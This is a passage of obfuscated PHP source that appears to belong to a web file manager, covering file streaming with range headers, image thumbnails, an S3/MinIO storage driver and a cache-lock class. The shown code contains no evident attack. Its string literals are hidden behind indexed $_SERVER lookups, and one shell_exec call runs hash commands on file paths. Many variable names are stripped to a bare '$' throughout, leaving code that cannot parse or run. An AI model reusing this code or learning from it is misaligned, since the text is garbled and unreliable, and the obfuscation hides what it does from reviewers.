(!$) { $ِ = BASIC_PATH . $Ă[102]; $깎 = md5_file($ِ); $ = $Ă[103]; foreach ($ as $) { $ = shell_exec($ . "\40\x22{$ِ}\42"); if ($ && substr(trim($), 0, 32) == $깎) { $ = $; break; } } Cache::set($Ă[101], $, 3600); } if ($ == $Ă[103]) { return !1; } $ = shell_exec($ . "\x20\42{$Ԛ}\42"); $ = str_replace($Ă[104], $Ă[12], $); return substr($, 0, 32); } public function link($ۨ) { return $ۨ; } public function fileOut($, $؛ = false, $ = false, $眅 = '') { $ڬ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($ڬ[105]), !1, $); } $ = $this->getType() == $ڬ[106]; $ = $GLOBALS[$ڬ[6]][$ڬ[89]][$ڬ[107]][$ڬ[108]]; $ = (double) $GLOBALS[$ڬ[6]][$ڬ[89]][$ڬ[107]][$ڬ[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($); $ˠ = $[$ڬ[76]]; $ = gmdate($ڬ[110], $[$ڬ[85]]); $ = $ ? $ : $this->iconvApp($[$ڬ[32]]); $ɱ = 0; $ܢ = $ˠ - 1; $ = $this->ext($); if (in_array($, array($ڬ[111], $ڬ[112], $ڬ[113], $ڬ[114]))) { $ = $ڬ[115]; } if (in_array($, array($ڬ[116]))) { $ = $ڬ[117]; } if (!$眅) { $眅 = md5($ . $this->hashSimple($)); } $眅 = $ڬ[118] . $眅 . $ڬ[118]; $ = get_file_mime($); $ = !0; $ = isset($_GET[$ڬ[119]]) ? !1 : !0; if ($؛ === !1 && !mime_support($)) { $ = $ڬ[120]; } header($ڬ[121]); header($ڬ[122] . $); $ = rawurlencode($); $ = $ڬ[118] . $ . $ڬ[123] . $; if ($؛) { header($ڬ[124]); header($ڬ[125] . $); } else { if ($) { header($ڬ[126] . $); } } header($ڬ[127] . gmdate($ڬ[110], time() + 3600 * 24 * 30) . $ڬ[128]); header($ڬ[129]); header($ڬ[130]); header($ڬ[131]); if (isset($_SERVER[$ڬ[132]]) && strtotime($_SERVER[$ڬ[132]]) == $[$ڬ[85]]) { header($ڬ[133], !0, 304); die; } if (isset($_SERVER[$ڬ[134]]) && $_SERVER[$ڬ[134]] == $眅) { header($ڬ[135] . $眅, !0, 304); die; } header($ڬ[135] . $眅); header($ڬ[136] . $ . $ڬ[128]); header($ڬ[137] . $); header($ڬ[138]); header($ڬ[139] . $ˠ); header($ڬ[140]); if (!$؛ && $ == $ڬ[141]) { if ($ˠ > 1024 * 1024 * 5) { die; } $봠 = $this->getContent($); $봠 = Html::clearSVG($봠); header($ڬ[142] . strlen($봠)); echo $봠; die; } $ј = strtolower($_SERVER[$ڬ[143]]); if ($ && $ј && $) { if (strstr($ј, $ڬ[144])) { header($ڬ[145] . $); } else { if (strstr($ј, $ڬ[146])) { header($ڬ[147] . $); } else { if (strstr($ј, $ڬ[148])) { header($ڬ[149] . $); } } } if ($) { header($ڬ[150] . $); } return; } if (isset($_SERVER[$ڬ[151]])) { if (preg_match($ڬ[152], $_SERVER[$ڬ[151]], $Ś)) { $ɱ = intval($Ś[1]); $ɱ = $ɱ <= 0 ? 0 : ($ɱ >= $ܢ ? $ܢ : $ɱ); if (!empty($Ś[2])) { $ = intval($Ś[2]); $ܢ = $ < $ɱ ? $ɱ : ($ >= $ܢ ? $ܢ : $); } } header($ڬ[153]); header("\x43\157\x6e\164\x65\x6e\164\x2d\122\x61\x6e\x67\x65\x3a\x20\x62\171\164\x65\163\x20{$ɱ}\55{$ܢ}\x2f" . $ˠ); } else { header($ڬ[154]); } header($ڬ[155]); $§ = !0; if ($_SERVER[$ڬ[156]] == $ڬ[157] && $ˠ > 1204 * 1024 * 1024 * 2) { $§ = !1; } if ($§) { header($ڬ[158] . ($ܢ - $ɱ + 1)); } if ($_SERVER[$ڬ[159]] == $ڬ[160]) { return; } $Ñк = 1024 * 100; $͚ = 0; if ($) { $͚ = intval(1000 * 1000 * ($Ñк / $)); } while ($ɱ <= $ܢ) { $︄ = timeFloat(); check_abort(); $ = $ܢ - $ɱ + 1; if ($ <= $Ñк) { $Ñк = $; } echo $this->fileSubstr($, $ɱ, $Ñк); $ɱ += $Ñк; if ($Ñк == $) { $ɱ = $ܢ + 1; } if ($͚) { $Ͱ = intval(1000 * 1000 * (timeFloat() - $︄)); $ = $͚ - $Ͱ; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $ۗ = false, $㳔 = false, $ٚ = '') { $this->fileOut($, $ۗ, $㳔, $ٚ); } public function fileOutLink($ܣ) { header($_SERVER[][161] . $ܣ); die; } public function cacheMethod($, $, $ = null) { $ =& $_SERVER[]; static $ꛐ = array(); $ = $ ? ltrim($this->getPathOuter($), $[8]) : $[12]; $ = $[162] . $ . $[163] . rtrim($, $[8]); if (is_null($)) { $ꛐ = array(); return; } if (is_null($)) { foreach ($ꛐ as $ => $ˎ) { if (!strstr($, $[162] . $ . $[164])) { continue; } unset($ꛐ[$]); } return; } if (!is_null($)) { $ꛐ[$] = $; return; } $ɔ = isset($ꛐ[$]) ? $ꛐ[$] : null; if (!is_null($ɔ)) { return $ɔ; } $ɔ = $this->{$}($); $ꛐ[$] = $ɔ; return $ɔ; } public function cacheMethodInfoSet($Ċ, $苟, $Þ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[165], $Ċ, $苟); $this->cacheMethod($[166], $Ċ, $苟 ? !1 : !0); if (is_array($Þ)) { $this->cacheMethod($[167], $Ċ, $Þ); } } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($, 0, 4) == $[148]) { $this->fileOutLink($); } $ = $this->info($); $ = $[$[32]]; $Ǵֲ = !1; if (isset($GLOBALS[$[168]]) && $GLOBALS[$[168]][$[84]] == $[$[84]]) { $鉹 = $GLOBALS[$[168]][$[169]]; if (!$[$[170]]) { $[$[170]] = $GLOBALS[$[168]]; } if (isset($鉹[$[171]])) { if ($鉹[$[171]] <= $ && $鉹[$[172]] <= $) { $Ǵֲ = !0; } } $ = $[$[170]][$[32]]; } if ($[$[76]] <= 1024 * 50 || $Ǵֲ || !function_exists($[173]) || $[$[174]] == $[175]) { return $this->fileOut($, !1, $); } if (isset($[$[170]][$[176]])) { $ = $[$[170]][$[176]]; } else { if (isset($[$[170]][$[177]])) { $ = $[$[170]][$[177]]; } } if (!$) { $ = md5("{$[$[32]]}\x5f{$[$[84]]}\x5f{$[$[76]]}\x5f{$}"); } $ꉵ = "{$}\x5f{$}\x2e\x70\156\x67"; if (!($蛝 = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[178]))) { $㙙 = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[179]); } else { $㙙 = KodIO::make($蛝); } if ($蛝 = IO::fileNameExist($㙙, $ꉵ)) { $Һ = KodIO::make($蛝); return IO::fileOut($Һ, !1, $); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $Һ = DATA_THUMB . $ꉵ; del_file($Һ); if (!@file_exists($Һ)) { $ꖠ = TEMP_FILES; if (!is_dir($ꖠ)) { mk_dir($ꖠ); } $正 = $ꖠ . $ . $[10] . $[$[174]]; if (!@file_exists($正)) { $正 = $this->download($, $正); } ImageThumb::createThumb($正, $Һ, $, $ * 10); } if (!file_exists($Һ) || filesize($Һ) < 100) { return @file_exists($正) ? IO::fileOut($正) : $this->fileOut($); } if (!($ӧٙ = IO::move($Һ, $㙙))) { return IO::fileOut($Һ); } del_file($Һ); IO::fileOut($ӧٙ); } public function fileOutImageServer($, $ = 250) { $this->fileOutImage($, $); } public function fileNameAuto($, $܉, $ۘ = REPEAT_RENAME, $ = false) { $܀߲ =& $_SERVER[]; $ = $ === $܀߲[12] ? $܉ : rtrim($, $܀߲[8]) . $܀߲[8] . $܉; if ($ۘ == REPEAT_REPLACE || !$this->exist($) || $ && $ۘ != REPEAT_RENAME_FOLDER) { return $܉; } if ($ۘ == REPEAT_SKIP) { return !1; } $ = $܀߲[10] . get_path_ext($܉); $ = $ == $܀߲[10] || $ ? $܀߲[12] : $; $ = 1; $݇ = substr($܉, 0, strlen($܉) - strlen($)); $̇ = $݇ . "\50{$}\51{$}"; while ($this->exist(rtrim($, $܀߲[8]) . $܀߲[8] . $̇)) { $̇ = $݇ . "\x28{$}\51{$}"; $++; } return $̇; } private function fileNameAutoList($ͻ, $ʢ, $ = false) { $θ =& $_SERVER[]; $ݠ = $this->listPath($ͻ, !0); $ݠ = array_merge($ݠ[$θ[82]], $ݠ[$θ[83]]); $ = array_to_keyvalue($ݠ, $θ[12], $θ[32]); $Ȭ = $θ[10] . get_path_ext($ʢ); $Ȭ = $Ȭ == $θ[10] || $ ? $θ[12] : $Ȭ; $ = substr($ʢ, 0, strlen($ʢ) - strlen($Ȭ)); $ = $ . "\50\x30\51{$Ȭ}"; for ($˪ԇ = 1; $˪ԇ <= count($) + 1; $˪ԇ++) { $ = $ . "\x28{$˪ԇ}\x29{$Ȭ}"; if (!in_array_not_case($, $)) { return $; } } return $; } public function listAllFiles($ч, $) { $ۉ =& $_SERVER[]; if (empty($)) { return array(); } $܊ = array_keys($); $օ = array(); $ч = trim($ч, $ۉ[8]); foreach ($ as $翦 => $څ) { $А = ltrim(substr(trim($翦, $ۉ[8]), strlen($ч)), $ۉ[8]); if (substr($翦, -1) == $ۉ[8]) { $А = rtrim($А, $ۉ[8]) . $ۉ[8]; } $օ = array_merge($օ, $this->slicePath($А)); } $ϑ = array(); foreach (array_unique($օ) as $є) { $ = array($ۉ[84] => $this->getPathOuter($ۉ[8] . $ч . $ۉ[8] . $є), $ۉ[75] => 1, $ۉ[76] => 0); if (substr($є, -1) != $ۉ[8]) { $[$ۉ[75]] = 0; $˨ = $this->getPath($ч . $ۉ[8] . $є); if (isset($[$˨])) { $ = $[$˨]; if (isset($[$ۉ[76]])) { $[$ۉ[76]] = intval($[$ۉ[76]]); } if (isset($[$ۉ[180]])) { $[$ۉ[85]] = intval($[$ۉ[180]]); } } } $ϑ[] = $; } return $ϑ; } public function slicePath($Δ) { $ϫ =& $_SERVER[]; $آ̖ = explode($ϫ[8], trim($Δ, $ϫ[8])); $礏 = 0; do { ++$礏; $݃[] = implode($ϫ[8], array_slice($آ̖, 0, $礏)) . $ϫ[8]; } while ($礏 < count($آ̖)); $݃[count($آ̖) - 1] = $Δ; return $݃; } public function getHost() { $Ǭ =& $_SERVER[]; $༩ = parse_url(trim($this->domain, $Ǭ[8])); $ = isset($༩[$Ǭ[181]]) ? $༩[$Ǭ[181]] : http_type(); $ = isset($༩[$Ǭ[182]]) ? $༩[$Ǭ[182]] : $༩[$Ǭ[84]]; if (isset($༩[$Ǭ[183]])) { $ .= $Ǭ[4] . $༩[$Ǭ[183]]; } return $ . $Ǭ[184] . $; } public function pathEncode($퉬) { $ =& $_SERVER[]; return str_replace($[185], $[8], rawurlencode($퉬)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($Όܫ) { set_timeout(); require_once SDK_DIR . $_SERVER[][186]; parent::__construct(); $this->_init($Όܫ); } public function _init($) { $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $[$_SERVER[][187]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ߨ = "\166\x34") { $this->signVer = $ߨ; $this->client->setSignatureVersion($ߨ); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ڵ =& $_SERVER[]; $Ʉ = $this->getBucketCors(); if (!$Ʉ || !is_array($Ʉ)) { return !1; } if ($Ʉ[$ڵ[188]] != $ڵ[189] || $Ʉ[$ڵ[190]] != $ڵ[189]) { return !1; } $Ə = array_map($ڵ[191], $Ʉ[$ڵ[192]]); if (!is_array($Ə)) { $Ə = array(); } $ܔ = array($ڵ[193], $ڵ[194], $ڵ[195], $ڵ[196], $ڵ[197]); $ = array_diff($ܔ, $Ə); return empty($); } public function mkfile($, $ = '', $͋ = REPEAT_RENAME) { $ܫ = $this->setContent($, $); if ($ܫ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $吊 =& $_SERVER[]; if (empty($) && $ !== $吊[198]) { return !1; } if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } $̝ = $this->setContent($, $吊[12], !0); if ($̝ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $, $ = array()) { $ =& $_SERVER[]; $ն = $this->objectMeta($); if (!$ն) { return !1; } if ($ն[$[76]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $, $this->bucket, $, $[199], $); } else { $ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $, $); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($Ƒ, $ਥ) { if ($this->copyFile($Ƒ, $ਥ)) { $this->delFile($Ƒ); return $this->getPathOuter($ਥ); } return !1; } public function delFile($حߚ) { return $this->client->deleteObject($this->bucket, $حߚ); } public function delFolder($) { $Җ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ꃼ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $Җ[8]) . $Җ[8]; if (!empty($) && $ !== $Җ[198] && !in_array($, $ꃼ[$Җ[82]])) { $ꃼ[$Җ[82]][] = $; } $܈ = $this->delByBatch($ꃼ[$Җ[83]]); if (!$܈) { return !1; } $܈ = $this->delByBatch($ꃼ[$Җ[82]]); if (!$܈) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $ͱ) { $ = $this->client->deleteObjects($this->bucket, $ͱ); if (!$) { return !1; } } return !0; } public function rename($Ω, $ֽ) { return $this->renameObject($Ω, $ֽ); } public function listPath($, $翇 = false) { $ =& $_SERVER[]; $֭Ă = $this->fileList($, $[8], !0); foreach ($֭Ă[$[82]] as $ => $) { $֭Ă[$[82]][$] = $this->folderInfo($, $翇, $); } foreach ($֭Ă[$[83]] as $ => $) { $֭Ă[$[83]][$] = $this->fileInfo($[$[32]], $翇, $); } return $֭Ă; } protected function infoChildren($ﲣ, &$Ъ) { $żʢ =& $_SERVER[]; $줹 = $this->fileList($ﲣ, $żʢ[12], !0); $Ъ[$żʢ[78]] += count($줹[$żʢ[82]]); $Ъ[$żʢ[77]] += count($줹[$żʢ[83]]); foreach ($줹[$żʢ[83]] as $) { if (!$ || !$[$żʢ[76]]) { continue; } $Ъ[$żʢ[76]] += $[$żʢ[76]]; } } private function fileInfo($ˍԅ, $샋 = false, $ = array()) { $ۇ =& $_SERVER[]; $ = array($ۇ[32] => $this->pathThis($ˍԅ), $ۇ[84] => $this->getPathOuter($ˍԅ), $ۇ[33] => $ۇ[200], $ۇ[174] => $this->ext($ˍԅ), $ۇ[76] => isset($[$ۇ[76]]) ? $[$ۇ[76]] : 0); if ($샋) { return $; } $[$ۇ[201]] = $[$ۇ[85]] = 0; $[$ۇ[202]] = $[$ۇ[203]] = !0; if (empty($)) { $ = $this->objectMeta($ˍԅ); if (!$) { return $; } } if (isset($[$ۇ[180]])) { $[$ۇ[85]] = $[$ۇ[180]]; } if (isset($[$ۇ[76]])) { $[$ۇ[76]] = $[$ۇ[76]]; } return $; } private function folderInfo($, $ = false, $ь = array()) { $۴ =& $_SERVER[]; $ſ = array($۴[32] => $this->pathThis($), $۴[84] => $this->getPathOuter($۴[8] . $), $۴[33] => $۴[75]); if ($) { return $ſ; } $ſ[$۴[201]] = $ſ[$۴[85]] = 0; $ſ[$۴[202]] = $ſ[$۴[203]] = !0; if ($ == $۴[12]) { return $ſ; } if (empty($ь)) { $ь = $this->objectMeta(trim($, $۴[8]) . $۴[8]); } if (isset($ь[$۴[180]])) { $ſ[$۴[201]] = $ь[$۴[180]]; } return $ſ; } private function fileList($, $ = '', $ܣ = 0) { $ۓԕ =& $_SERVER[]; $ = rtrim($, $ۓԕ[8]) . $ۓԕ[8]; $ = $this->listObjs($, null, null, $); if (!$) { return array($ۓԕ[82] => array(), $ۓԕ[83] => array()); } $َ = $ = array(); foreach ($[$ۓԕ[204]] as $) { $ = $[$ۓԕ[32]]; if ($ == $) { continue; } $Υ = isset($[$ۓԕ[76]]) ? $[$ۓԕ[76]] : 0; $ = $Υ == 0 && substr($, strlen($) - 1, 1) == $ۓԕ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $َ[] = $; continue; } $[] = $ܣ ? $ : $; } foreach ($[$ۓԕ[205]] as $) { $َ[] = $[$ۓԕ[32]]; $this->cacheMethodInfoSet($[$ۓԕ[32]], !0); } $this->cacheMethodInfoSet($, !0); return array($ۓԕ[82] => $َ, $ۓԕ[83] => $); } private function listObjs($, $Ī = null, $ = null, $ʻ = null) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[198] ? $[12] : $ . $[8]; return $this->client->getBucket($this->bucket, $, $Ī, $, $ʻ, !0); } public function has($, $ = false, $ = true) { $ȩʄ =& $_SERVER[]; $ = trim($, $ȩʄ[8]); $֧ = empty($) && $ !== $ȩʄ[198] ? $ȩʄ[12] : $ . $ȩʄ[8]; $ = null; $ = 500; $㫼 = $ȩʄ[8]; $ = $ = array(); while (!0) { $ɡ = $this->listObjs($, $, $, $㫼); if (!$ɡ) { break; } $ = $ɡ[$ȩʄ[206]]; $ = $ɡ[$ȩʄ[204]]; $ = $ɡ[$ȩʄ[205]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$ȩʄ[32]] == $֧) { break; } if ($) { if (count($)) { $ = array_column($, $ȩʄ[32]); $ = array_merge($, $); } if (count($)) { $ = array_column($, $ȩʄ[32]); $ = array_merge($, $); } if ($ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$ȩʄ[32]]) && $[0][$ȩʄ[32]] != $֧) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === null) { break; } } if ($) { $ = array_diff($, array($֧)); $ = count(array_unique($)); $ = count(array_unique($)); return array($ȩʄ[207] => $, $ȩʄ[208] => $); } return !1; } public function listAll($Ԁ) { $ =& $_SERVER[]; $اכּ = $this->fileList($Ԁ, $[12], !0); $彧 = array_to_keyvalue($اכּ[$[83]], $[32]); foreach ($اכּ[$[82]] as $Ǫ) { if (is_string($Ǫ)) { $彧[$Ǫ] = array($[76] => 0); } } return $this->listAllFiles($Ԁ, $彧); } public function canRead($қ) { $ӝ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $қ); if (!$) { return !1; } return in_array($, array($ӝ[209], $ӝ[210], $ӝ[211])) ? !0 : !1; } public function canWrite($) { $Ϧ =& $_SERVER[]; $ұȚ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$ұȚ) { return !1; } return in_array($ұȚ, array($Ϧ[209], $Ϧ[210])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($鋲, $ = '', $ = false) { $ᜊ =& $_SERVER[]; $鋲 = $ ? trim($鋲, $ᜊ[8]) . $ᜊ[8] : $鋲; $ = get_file_mime(get_path_ext($鋲)); $ = $this->client->putObject($, $this->bucket, $鋲, $ᜊ[199], array(), $); if (!$) { return !1; } if ($) { return !0; } $this->cacheMethod(null, null); $ = $this->copyFile($鋲, $鋲, array($ᜊ[212] => $[$ᜊ[213]])); return $ ? !0 : !1; } public function fileSubstr($Ļ, $, $) { $Ҵ = $ + $ - 1; return $this->client->getObject($this->bucket, $Ļ, array($_SERVER[][214] => "\x62\x79\164\145\x73\75{$}\55{$Ҵ}")); } public function upload($喲, $ӷ, $̴ = false, $ޗ = REPEAT_REPLACE) { $ޛ =& $_SERVER[]; $ = array($ޛ[212] => @md5_file($ӷ)); $緞 = array($ޛ[215] => get_file_mime(get_path_ext($喲))); if (IO::size($ӷ) <= 1024 * 1024 * 200) { $Á = $this->client->putObjectFile($ӷ, $this->bucket, $喲, $ޛ[199], $, $緞); return !empty($Á) ? $this->getPathOuter($喲) : !1; } $΅ = $this->client->multiUploadObject($ӷ, $this->bucket, trim($喲, $ޛ[8]), $, $緞); return $΅ ? $this->getPathOuter($喲) : !1; } public function download($ޜ, $Ԩ) { if (!@is_dir($this->pathFather($Ԩ)) && !IO::mkdir($this->pathFather($Ԩ))) { return !1; } $ = $this->client->getObject($this->bucket, $ޜ, array(), $Ԩ); return $ !== !1 ? $Ԩ : !1; } public function link($̹, $ښ = array()) { $ =& $_SERVER[]; if ($this->signVer == $[216]) { return $this->client->getAuthenticatedURL($this->bucket, $̹, 3600 * 12, $ښ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($̹, $[8]), 3600 * 12, $this->region, array(), !0, $ښ); } public function fileOut($, $ԩݬ = false, $ܤ = false, $ߺ = '') { $Ζ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ԩݬ, $ܤ, $ߺ); } if (!$ܤ) { $ܤ = $this->pathThis($); } $ل = get_file_mime(get_path_ext($ܤ)); if ($ل == $Ζ[217]) { return parent::fileOut($, $ԩݬ, $ܤ, $ߺ); } $ = array($Ζ[218] => $ل); if ($ԩݬ) { $[$Ζ[219]] = $Ζ[220] . rawurlencode($ܤ); } else { } $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($ȓ, $ = false, $ܞ鰀 = false, $ = '') { parent::fileOut($ȓ, $, $ܞ鰀, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($֓, $֠ = '') { $ϼڃ =& $_SERVER[]; $鈋 = $this->objectMeta($֓); if (!$鈋) { return !1; } $֠ = $֠ ? $֠ : _get($鈋, $ϼڃ[221]); $֠ = $֠ ? $֠ : _get($鈋, $ϼڃ[213], $ϼڃ[12]); return $֠; } public function uploadFormData($, $ = 3600) { $ա =& $_SERVER[]; $ = $this->pathFather($); $ȵ = $this->client->getHttpUploadPostParams($this->bucket, $, $ա[199], $); return array_merge((array) $ȵ, array($ա[182] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $݇ = gmdate($[222]); $ⲝ = array(); $Ƅ龭 = $this->client->getUploadId($this->bucket, $, $ⲝ); if (!$Ƅ龭) { return !1; } return array($[223] => $Ƅ龭, $[182] => $this->getHost() . $[8] . $this->pathEncode($), $[224] => $݇, $[94] => $); } public function multiUploadAuthData($Ӥ, $ = array()) { $̱ =& $_SERVER[]; $փ = isset($[$̱[224]]) ? $[$̱[224]] : gmdate($̱[222]); $ = isset($[$̱[174]]) ? $[$̱[174]] : $̱[12]; $穴Ԛ = $[$̱[94]]; unset($[$̱[94]]); if (isset($[$̱[225]])) { $[$̱[224]] = $փ; return $this->listUploadParts($穴Ԛ, $); } $턴̜ = array($̱[226], $̱[12], $̱[120], $̱[12], "\170\55\141\x6d\x7a\x2d\144\141\164\x65\72{$փ}", $̱[8] . $this->bucket . $̱[8] . $this->pathEncode($穴Ԛ) . $); if (strpos($, $̱[227]) === 0) { $턴̜[0] = $̱[228]; } if (isset($[$̱[229]]) && $[$̱[229]] == $̱[230]) { $턴̜[0] = $̱[230]; } $ԅ = implode($̱[231], $턴̜); $ë = base64_encode(hash_hmac($̱[232], $ԅ, $this->secret, !0)); $ = $̱[233] . $this->accessKey . $̱[4] . $ë; if (strpos($, $̱[227]) === 0) { return array($̱[234] => $, $̱[224] => $փ); } return $; } public function listUploadParts($, $登 = array()) { $ĸ =& $_SERVER[]; $ӝ = str_replace($ĸ[235], $ĸ[12], $登[$ĸ[174]]); $ú = $this->client->listParts($this->bucket, $, $ӝ); if (!$ú) { return !1; } unset($登[$ĸ[225]], $登[$ĸ[229]]); $登[$ĸ[94]] = $; $ոԕ = $this->multiUploadAuthData($, $登); if (empty($ոԕ)) { return !1; } return array($ĸ[234] => $ոԕ, $ĸ[224] => $登[$ĸ[224]], $ĸ[236] => $ú); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($ႊ) { $≙ = $this->objectMeta($ႊ); return $≙ ? $≙[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($˧) { return $this->cacheMethod($_SERVER[][165], $˧); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($) { $Ө =& $_SERVER[]; $ = rtrim($, $Ө[8]); try { $ӛ = $this->client->getObjectInfo($this->bucket, $); if (!isset($ӛ[$Ө[221]]) && isset($ӛ[$Ө[237]])) { $ӛ[$Ө[221]] = $ӛ[$Ө[237]]; } } catch (Exception $) { $ӛ = !1; } if (!$ӛ) { } return $ӛ; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[204]])) { return !1; } $ = $[$[204]][0][$[32]]; return stripos($, $ . $[8]) === 0 ? !0 : !1; if (substr($, -1) == $[8]) { return !0; } if (get_path_this($) == get_path_this($)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($Ҟ) { parent::__construct($Ҟ); $this->signatureVersion($_SERVER[][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto F; c: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $Ņ = $GLOBALS[$[6]][$[349]]; self::$timeout = $Ņ[$[837]] ? $Ņ[$[837]] : 10; $ = _get($GLOBALS[$[6]], $[838]); $ = $Ņ[$[824]] ? $Ņ[$[824]] : $[200]; if ($ == $[21] && $ == $[13]) { $ = $[200]; } switch ($) { case $[827]: self::$handle = new CacheLockRedis(); break; case $[828]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[200]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[839], $[840]); } return self::$handle; } private static function key($։) { return $_SERVER[][841] . Cache::key($։); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($昸 = '') { self::$errorMsg = $昸; } public static function lockGlobal($, $) { return self::lock($, $, !0); } public static function lock($Ϝ, $͆ = false, $ڵ = false) { $ =& $_SERVER[]; $Ȁ = self::init(); $ȉ = self::key($Ϝ); $͆ = $͆ ? $͆ : self::$timeout; $ؗ = timeFloat(); $ = $Ȁ->lock($ȉ, $͆); $۹ = timeFloat(); if (!$) { $ȋ = "\154\157\143\153\x20\x65\162\162\x6f\162\x3b\153\x65\171\75{$Ϝ}\x3b\164\x69\155\145\x3d{$͆}\73" . self::$errorMsg . $[71] . get_caller_msg(); $ = LNG($[842]) . "\x28{$͆}\x73\51\56" . LNG($[843]); $ .= $[844]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[845] . self::$errorMsg; } write_log($[846] . sprintf($[847], timeFloat() - $ؗ) . $[848] . $ȋ . $[849] . error_get_last(), $[840]); show_json($, !1); } if (!$ڵ) { self::$lockItem[$ȉ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $캼 = number_format(timeFloat() - $۹, 3); write_log($[850] . $Ϝ . $[851] . $캼, $[840]); } return $; } public static function lockGet($øӃ) { $ = self::key($øӃ); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($Ѻ) { $ =& $_SERVER[]; $ = self::key($Ѻ); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[852] . $Ѻ, $[840]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $娇 = self::init(); $굲ǒ = !1; foreach (self::$lockItem as $Çш => $) { if (!$) { continue; } $娇->unlock($Çш); if (!$굲ǒ) { $굲ǒ = !0; write_log($[853] . $Çш . $[71] . get_caller_msg(), $[840]); continue; } write_log($[853] . $Çш, $[840]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $گ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[854] . $گ . $[855] . ACTION, $[840]); } } public static function fileLock($߁ϫ) { $ =& $_SERVER[]; if (!$GLOBALS[$[856]]) { $GLOBALS[$[856]] = array(); } $GLOBALS[$[856]][$߁ϫ] = !1; $ = fopen(DATA_PATH . $߁ϫ . $[857], $[858]); if (!$) { return !1; } $GLOBALS[$[856]][$߁ϫ] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($߁ϫ); show_json($[859], !1); return !1; } public static function fileUnlock($µ) { $ =& $_SERVER[]; $֚ = $GLOBALS[$[856]][$µ]; if (!$֚) { return; } $GLOBALS[$[856]][$µ] = !1; flock($֚, LOCK_UN); fclose($֚); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!$GLOBALS[$[856]]) { return; } foreach ($GLOBALS[$[856]] as $Ӧ => $˨) { if (!$˨) { continue; } $GLOBALS[$[856]][$Ӧ] = !1; flock($˨, LOCK_UN); fclose($˨); } $GLOBALS[$[856]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $υ =& $_SERVER[]; $ʲ = 